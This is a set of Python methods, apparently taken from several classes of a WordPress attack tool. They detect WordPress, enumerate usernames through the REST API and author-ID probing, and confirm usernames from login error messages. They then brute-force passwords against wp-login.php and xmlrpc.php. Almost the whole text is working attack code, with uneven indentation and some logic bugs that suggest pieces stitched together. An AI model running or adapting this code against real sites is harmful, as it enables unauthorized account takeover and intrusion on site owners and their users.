def wp_login_validate(self, url, data):
     """
     This function validates the usernames by trying to log in with the username and sees what is the error. is there
     no such username or is only the password wrong
     :param url: full url for the login request
     :param data: list. the usernames to validate
     return: list. the final validate usernames
     """
     try:
         valid_data = []
         for u in data:
             try:
                 payload = {'log': u, 'pwd': '1234'}
                 http_handler = HTTPRequestHandler(proxies=self._proxies,
                                                   retries=0,
                                                   timeout=5,
                                                   payload=payload)
                 r = http_handler.send_http_request(method='post', url=url)
                 if 'Please verify you are human' in r.text:
                     break
                 if 'Invalid username' in r.text:
                     continue
                 elif 'The password you entered for the username' in r.text:
                     valid_data.append(u)
             except Exception as e:
                 print(e)
                 continue
         return valid_data
     except Exception as e:
         print(e)
 def __get_version_standalone(self):
     """
     detects the version of the wordpress
     :return: a list of tuples: [(whether the domain operates over Wordpress, doesn't return the version),..]
     """
     try:
         response_list = []
         for url in _VERSION_DETECTABLE_URLS:
             complete_url_https = 'https://' + str(self._domain) + url
             complete_url_http = 'http://' + str(self._domain) + url
             http_handler = HTTPRequestHandler(proxies=self._proxies,
                                               retries=0,
                                               timeout=5)
             response = http_handler.send_http_request(
                 method='get', url=complete_url_https)
             if response is None:
                 response = http_handler.send_http_request(
                     method='get', url=complete_url_http)
             response_list.append(
                 self.__detect_version_logic(response.content, url))
         possible_outcomes = []
         outcome = None
         for item in response_list:
             if item[0]:
                 possible_outcomes.append(item)
         for outcome in possible_outcomes:
             if 'version' not in outcome[1]:
                 return outcome
         return outcome
     except Exception as e:
         print(e)
 def validate_data(self, data):
     """
     This function validates the usernames that were enumerated
     :param data: list. the usernames to validate
     return: list. the final validate usernames
     """
     try:
         r = HTTPRequestHandler().send_http_request(method='get',
                                                    url='http://' +
                                                    str(self._domain))
         wp_login_url = r.url + '/wp-login.php'
         r = HTTPRequestHandler().send_http_request(method='get',
                                                    url=wp_login_url)
         if str(r.status_code) == '200':
             for user in data:
                 if " " in user:
                     new_user = str(user).split(" ")
                     data += new_user
                     u = str(user).replace(" ", "_")
                     data += [u]
             valid_data = self.wp_login_validate(wp_login_url, data)
             return valid_data
         else:
             return data
     except Exception as e:
         print(e)
 def is_wordpress_no_url(self, proxies=None, timeout=5, retries=0):
     """
     This function cheks if a domain is running WordPress even if there aren't any urls givven
     :param proxies: working via HTTP proxies. If None, the constructor's proxies are used (if any)
     :param retries: The number of tries that each HTTP request will be sent until it will succeed
     :param timeout: How much time each HTTP request will wait for an answer
     :return: List of tuples of all the indications [(True/False, if a version was discovered)
     """
     response_list = []
     url = 'https://' + str(self._domain)
     http_handler = HTTPRequestHandler(proxies=proxies,
                                       retries=retries,
                                       timeout=timeout)
     response = http_handler.send_http_request(method='get', url=url)
     if response is None:
         url = 'http://' + str(self._domain)
         http_handler = HTTPRequestHandler(proxies=proxies,
                                           retries=retries,
                                           timeout=timeout)
         response = http_handler.send_http_request(method='get', url=url)
         if response is None:
             pass
     if str(response.status_code) != '200':
         response_list.append((False, "Could'nt detect version"))
         return response_list
     else:
         response_list = []
         # check in source code if important 'wp-'s in:
         count = 0
         http_handler = HTTPRequestHandler(proxies=proxies,
                                           retries=retries,
                                           timeout=timeout)
         response = http_handler.send_http_request(method='get', url=url)
         if 'wp-content' in str(response.content):
             count += 1
         if 'wordpress' in str(response.content).lower():
             count += 1
         if 'wp-admin' in str(response.content):
             count += 1
         if 'wp-includes' in str(response.content):
             count += 1
         if 'wp-json' in str(response.content):
             count += 1
         if 5 >= count >= 3:
             response_list.append((True, "Could'nt detect version"))
         else:
             response_list.append((False, "Could'nt detect version"))
         if 'name="generator" content="wordpress"' in str(
                 response.content).lower():
             response_list.append(
                 self.get_version(response.content, url + '/wp-admin'))
             return response_list
     return response_list
 def is_method_possible(self):
     """
     check whether the bruteforce via xmlrpc.php is possible for the domain or not
     :return:boolean. Returns whether the bruteforce via xmlrpc.php is possible for the domain or not
     """
     try:
         '''figure out if this site is http or https'''
         r = HTTPRequestHandler().send_http_request(method='get', url='http://' + str(self._domain))
         url = r.url + '/xmlrpc.php'
         http_handler = HTTPRequestHandler()
         response = http_handler.send_http_request(method='post', url=url)
         if str(response.status_code) == ('200' or '403' or '401'):
             return True
         return False
     except Exception as e:
         print(e)
 def _enumerate_rest_api(self, proxies=None):
     """
     This Function enumerates users using a rest_api method
     :return: None
     """
     try:
         if proxies is not None:
             self._proxies = proxies
         http_handler = HTTPRequestHandler(proxies=self._proxies,
                                           retries=0,
                                           timeout=5)
         users_dict = {}
         users_list = []
         url_rest_api = 'https://' + str(self._domain) + self._URL_REST_API
         url_rest_api_http = 'http://' + str(
             self._domain) + self._URL_REST_API
         try:
             r = http_handler.send_http_request(method='get',
                                                url=url_rest_api)
             if r is None:
                 r = http_handler.send_http_request(method='get',
                                                    url=url_rest_api_http)
             json_response_list = json.loads(r.content)
             for json_item in json_response_list:
                 '''
                 id_data = []
                 if json_item['id'] in users_dict.keys():
                     id_data.append(users_dict[json_item['id']])
                     id_data.append(json_item['name'])
                 else:
                 '''
                 users_dict[json_item['id']] = json_item['name']
                 if json_item['name']:
                     users_list.append(json_item['name'])
         except Exception as e:
             print(e)
         self._user_data_rest.update(users_dict)
         if users_list:
             self._user_names = self._user_names + users_list
     except Exception as e:
         print(e)
 def is_method_possible(self):
     """
     check whether the bruteforce via wp-login.php is possible for the domain or not
     :return:boolean. Returns whether the bruteforce via wp-login.php is possible for the domain or not
     """
     try:
         url = 'http://' + str(self._domain) + '/wp-login.php'
         r = HTTPRequestHandler().send_http_request(method='get', url=url)
         if '404 Page Not Found' in r.text or str(r.status_code) != '200':
             return False
         else:
             return True
     except Exception as e:
         print(e)
 def bruteforce(self, usernames, passwords, retries=0, timeout=5):
     """
     this functhon run the run_bruteforce over wp-login.php url.
     :param usernames:list. list of usernames we want t 0 brutforce.
     :param passwords:list. list of passwords to perform the bruteforce.
     :param retries: The number of tries that each HTTP request will be sent until it will succeed
     :param timeout: How much time each HTTP request will wait for an answer
     :return: dict. dict of passwords and usernames who succesfully bruteforce via wp-login.php.
     """
     try:
         '''figure out if this site is http or https'''
         r = HTTPRequestHandler().send_http_request(method='get',
                                                    url='http://' +
                                                    str(self._domain))
         url = r.url
         complete_url = url + '/wp-login.php'
         for u in usernames:
             for p in passwords:
                 try:
                     payload = {'log': u, 'pwd': p}
                     http_handler = HTTPRequestHandler(
                         proxies=self._proxies,
                         retries=retries,
                         timeout=timeout,
                         payload=payload)
                     r = http_handler.send_http_request(method='post',
                                                        url=complete_url)
                     if 'wp-login' not in str(r.url):
                         self._listOfPasswords[u + p] = (u, p)
                 except Exception as e:
                     print(e)
                     continue
         return self._listOfPasswords
     except:
         print(
             "error in executing function: 'bruteforce' in httpsBruteforcer"
         )
 def bruteforce(self, usernames, passwords, retries=0, timeout=5):
     """
     this functhon run the run_bruteforce over xmlrpc.php url.
     :param usernames:list. list of usernames we want t 0 brutforce.
     :param passwords:list. list of passwords to perform the bruteforce.
     :param retries: The number of tries that each HTTP request will be sent until it will succeed
     :param timeout: How much time each HTTP request will wait for an answer
     :return: dict. dict of passwords and usernames who succesfully bruteforce via xmlrpc.php.
     """
     try:
         prefix = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
         '''figure out if this site is http or https'''
         r = HTTPRequestHandler().send_http_request(method='get', url='http://' + str(self._domain))
         complete_url = r.url + '/xmlrpc.php'
         resp = requests.post(complete_url, prefix, verify=False, allow_redirects=False,
                              timeout=timeout)
         if 'metaWeblog.getUsersBlogs' or 'wp.getCategories' or 'wp.getUsersBlogs' in resp.text:
             list_of_methods = ['metaWeblog.getUsersBlogs', 'wp.getCategories', 'wp.getUsersBlogs']
             for method in list_of_methods:
                 for u in usernames:
                     for p in passwords:
                         xml_request = f"<methodCall><methodName>{method}</methodName><params>\
                                     <param><value>{u}</value></param><param><value>{p}</value></param>\
                                     </params></methodCall>"
                         resp = requests.post(complete_url, xml_request, verify=False, allow_redirects=False,
                                              timeout=timeout)
                         if str(resp.status_code) != '200':
                             continue
                         elif 'Incorrect username or password' in resp.text:
                             continue
                         elif 'Insufficient arguments passed to this XML-RPC method' in resp.text:
                             continue
                         elif 'faultString' in resp.text:
                             continue
                         else:
                             self._dictOfPasswords[u + p] = (u, p)
         return self._dictOfPasswords
     except Exception as e:
         print(e)
         print("error in executing function: 'bruteforce' in xmlrpc.php brutforcer")
    def is_enumeration_possible(self):
        """
        Returns whether the enumeration is possible or not
        :return: tuple (if enumeration is possible or not, list of the urls that indicated it is possible)
        """
        try:
            url_rest_api = 'https://' + str(self._domain) + self._URL_REST_API
            url_rest_api_http = 'http://' + str(
                self._domain) + self._URL_REST_API
            url_brute_force = 'https://' + str(
                self._domain) + self._URL_BRUTE_FORCE + str(self._MIN_ID + 1)
            url_brute_force_http = 'http://' + str(
                self._domain) + self._URL_BRUTE_FORCE + str(self._MIN_ID + 1)

            http_handler = HTTPRequestHandler(proxies=self._proxies,
                                              retries=0,
                                              timeout=5)
            try:
                r1 = http_handler.send_http_request(method='get',
                                                    url=url_rest_api)
                if r1 is None:
                    r1 = http_handler.send_http_request(method='get',
                                                        url=url_rest_api_http)
                r2 = http_handler.send_http_request(method='get',
                                                    url=url_brute_force)
                if r2 is None:
                    r2 = http_handler.send_http_request(
                        method='get', url=url_brute_force_http)

                if r1.status_code != 200 and '/author/' not in r2.url:
                    return False
                else:
                    if r1.status_code == 200 and '/author/' in r2.url:
                        return True, [
                            self._URL_REST_API, self._URL_BRUTE_FORCE
                        ]
                    elif r1.status_code != 200 and '/author/' in r2.url:
                        return True, [self._URL_BRUTE_FORCE]
                    elif r1.status_code == 200 and '/author/' not in r2.url:
                        return True, [self._URL_REST_API]
            except Exception as e:
                print(e)
        except Exception as e:
            print(e)
 def _enumerate_bruteforce(self,
                           min_id=_MIN_ID,
                           max_id=_MAX_ID,
                           proxies=None,
                           bypass=False):
     """
     This Function enumerates users using a bruteforce method
     :param min_id: int. the min id of user to enumerate
     :param max_id: int. the max id of user to enumerate
     :return: None
     """
     try:
         if proxies is not None:
             self._proxies = proxies
         http_handler = HTTPRequestHandler(proxies=self._proxies,
                                           retries=0,
                                           timeout=5)
         users_dict = {}
         users_list = []
         r = HTTPRequestHandler().send_http_request(method='get',
                                                    url='http://' +
                                                    str(self._domain))
         url = r.url
         if min_id == 0:
             min_id += 1
         for i in range(min_id, max_id):
             try:
                 if not bypass:
                     r = http_handler.send_http_request(
                         method='get',
                         url=url + self._URL_BRUTE_FORCE + str(i))
                 else:
                     r = http_handler.send_http_request(
                         method='get',
                         url=url + self._URL_BRUTE_FORCE_BYPASS_1 + str(i))
                     if r is None:
                         break
                 user_name = ''
                 if '/author/' in r.url:
                     user_name = str(r.url).split('/author/')[1][:-1]
                 else:
                     data = str(r.content)
                     start_index = data.find('<title>')
                     if start_index != -1:
                         end_1 = data.find(" &", start_index)
                         end_2 = data.find(",", start_index)
                         end = min(end_1, end_2)
                         user_name_optional = data[start_index + 7:end]
                         if str(r.status_code) == '200' and '\\x' not in user_name_optional.lower() \
                                 and len(user_name_optional) < 30:
                             user_name = user_name_optional
                 if user_name:
                     users_dict[i] = user_name
                 if user_name:
                     users_list.append(user_name)
             except Exception as e:
                 print(e)
         self._user_data_brut.update(users_dict)
         if users_list:
             self._user_names = self._user_names + users_list
     except Exception as e:
         print(e)
 def is_wordpress(self, urls=None, proxies=None, timeout=5, retries=0):
     """
     This function detects if the website runs over wordpress
     :param urls: URLs to analyze; make sure the URLs are relevant for the domain
     :param proxies: working via HTTP proxies. If None, the constructor's proxies are used (if any)
     :param retries: The number of tries that each HTTP request will be sent until it will succeed
     :param timeout: How much time each HTTP request will wait for an answer
     :return: a tuple: (whether the domain operates over Wordpress, its version)
     """
     try:
         response_list = []
         if not urls:
             response_list += self.is_wordpress_no_url(proxies=proxies,
                                                       timeout=timeout,
                                                       retries=retries)
         else:
             response_list = []
             for url in urls:
                 complete_url = 'https://' + str(self._domain) + url
                 http_handler = HTTPRequestHandler(proxies=proxies,
                                                   retries=retries,
                                                   timeout=timeout)
                 response = http_handler.send_http_request(method='get',
                                                           url=complete_url)
                 if response is None:
                     complete_url = 'http://' + str(self._domain) + url
                     http_handler = HTTPRequestHandler(proxies=proxies,
                                                       retries=retries,
                                                       timeout=timeout)
                     response = http_handler.send_http_request(
                         method='get', url=complete_url)
                     if response is None:
                         break
                 if 'licence' in url:
                     count = 0
                     if str(response.status_code) == '200':
                         if 'WordPress - Web publishing software' in str(
                                 response.content):
                             count += 1
                         if 'WordPress is released under the GPL' in str(
                                 response.content):
                             count += 1
                         if 'The source code for any program binaries or compressed scripts that are' in str(
                                 response.content) and \
                                 'included with WordPress can be freely obtained at the following URL:' \
                                 in str(response.content):
                             count += 1
                         if 3 >= count >= 2:
                             response_list.append(
                                 self.get_version(response.content, url))
                 if 'readme' in url:
                     if str(response.status_code) == '200':
                         if 'wordpress-logo.png' in str(response.content):
                             response_list.append(
                                 (True, "Could'nt detect version"))
                         response_list.append(
                             (False, "Could'nt detect version"))
                 if 'feed' in url:
                     if str(response.status_code) == '200':
                         response_list.append(
                             self.get_version(response.content, url))
                 if 'wp-links-opml' in url:
                     response_list.append(
                         self.get_version(response.content, url))
                 if 'upgrade' in url:
                     if 'wordpress-logo.png' in str(response.content):
                         response_list.append(
                             (True, "Could'nt detect version"))
                     response_list.append(
                         (False, "Could'nt detect version"))
                 if 'admin' in url:
                     count = 0
                     if 'wp-content' in str(response.content):
                         count += 1
                     elif 'wordpress' in str(response.content):
                         count += 1
                     if 'wp-admin' in str(response.content):
                         count += 1
                     if 'wp-includes' in str(response.content):
                         count += 1
                     if 'wp-json' in str(response.content):
                         count += 1
                     if 5 >= count >= 3:
                         response_list.append(
                             (True, "Could'nt detect version"))
                     response_list.append(
                         self.get_version(response.content,
                                          url + '/wp-admin'))
                 if 'robots' in url:
                     if ('wp-admin' or 'WP rules' or 'wordpress rules'
                             or 'wp-includes') in str(response.content):
                         response_list.append(
                             (True, "Could'nt detect version"))
                     response_list.append(
                         (False, "Could'nt detect version"))
             response_list += self.is_wordpress_no_url(proxies=proxies,
                                                       timeout=timeout,
                                                       retries=retries)
         possible_outcomes = []
         is_word_press = False
         for item in response_list:
             if item[0]:
                 possible_outcomes.append(item)
         for outcome in possible_outcomes:
             if outcome[0]:
                 is_word_press = True
             if 'version' not in outcome[1]:
                 return outcome
         if is_word_press:
             return True, "Could'nt detect version"
         return False, "Could'nt detect version"
     except Exception as e:
         print(e)